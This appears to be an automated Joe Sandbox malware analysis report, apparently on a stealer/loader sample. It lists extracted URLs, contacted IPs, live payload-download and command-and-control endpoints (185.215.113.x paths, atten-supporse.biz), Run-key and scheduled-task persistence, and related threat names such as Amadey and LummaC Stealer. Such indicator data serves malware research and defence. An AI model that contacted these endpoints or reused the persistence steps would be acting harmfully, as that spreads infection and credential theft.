http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/endDate	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 0000001A.00000002.4220564232.000002539DD61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	11caca4b5d.exe, 0000000A.00000003.3957620595.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4096798586.0000000005C91000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4099811582.0000000005C95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DDAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125865060.00000158652C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3E9000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.26.dr	false		high
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/J	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	11caca4b5d.exe, 0000000A.00000003.3894839128.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3894151837.0000000005A8D000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3895608840.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4010308676.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4008376409.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/enabled	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D3C7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#Unique	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/featureIdshttp://mozilla.org/#/properties/branches/anyOf/1http://moz	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://detectportal.firefox.comP	firefox.exe, 0000001A.00000002.4509133768.00000253A59E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.4500503968.00000253A4206000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A410C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	false		high
https://email.seznam.cz/newMessageScreen?mailto=%sbrowser.download.viewableInternally.typeWasRegiste	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6296000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510227560.00000253A5C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.4125343821.000001E59D312000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	11caca4b5d.exe, 0000000A.00000002.4124966680.0000000001250000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3955679205.0000000005A49000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000A.00000003.3928349991.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000002.4125799702.000000000145E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdhttp://mozilla.org/#/propert	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemshttp://mozilla.org/#	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000001A.00000002.4507098040.00000253A5711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4508059548.00000253A5882000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000001A.00000002.4510726727.00000253A5DE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510726727.00000253A5DA6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510726727.00000253A5DA6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/forceWaitHttpsRR	firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/outcomes	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exe4c61395d7f0	skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	11caca4b5d.exe, 0000000C.00000003.4071538074.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exesHHK	skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001A.00000003.4041473433.00000253A1A1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479754930.00000253A1A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A02E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4040296515.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4041980584.00000253A1A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001A.00000002.4498274385.00000253A3F59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4511797530.00000253A6261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4482965754.00000253A2094000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/pocketShowLessFrequentlyCaphttp://mozilla.org/#/properties/pocketFea	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/targetinghttp://mozilla.org/#/properties/brancheshttp://mozilla.org/	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjshandlerSvc	firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeD	skotes.exe, 00000001.00000002.4125953061.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001A.00000002.4510227560.00000253A5CA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001A.00000002.4226499551.000002539E726000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/api/Z	11caca4b5d.exe, 0000000C.00000003.4039251705.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4039102203.00000000014CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exep1	skotes.exe, 00000001.00000002.4125953061.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.olx.pl/	firefox.exe, 0000001A.00000002.4510726727.00000253A5DE9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001A.00000002.4222089313.000002539E612000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.165.166	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565427
Start date and time:	2024-11-29 20:03:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@44/19@9/6
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 11caca4b5d.exe, PID 3288 because there are no executed function
Execution Graph export aborted for target 11caca4b5d.exe, PID 6692 because there are no executed function
Execution Graph export aborted for target 95716ab34b.exe, PID 412 because there are no executed function
Execution Graph export aborted for target 95716ab34b.exe, PID 884 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6820 because it is empty
Execution Graph export aborted for target skotes.exe, PID 1832 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3720 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6236 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 732 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:04:05	API Interceptor	12393081x Sleep call for process: skotes.exe modified
14:07:38	API Interceptor	12x Sleep call for process: 11caca4b5d.exe modified
19:04:04	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:07:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 11caca4b5d.exe C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe
19:07:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 95716ab34b.exe C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe
19:07:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4feecdc349.exe C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe
19:08:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 11caca4b5d.exe C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe
19:08:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 95716ab34b.exe C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe
19:08:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4feecdc349.exe C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe
19:08:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d764c66987.exe C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.206	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	Installer.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
prod.balrog.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
prod.detectportal.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
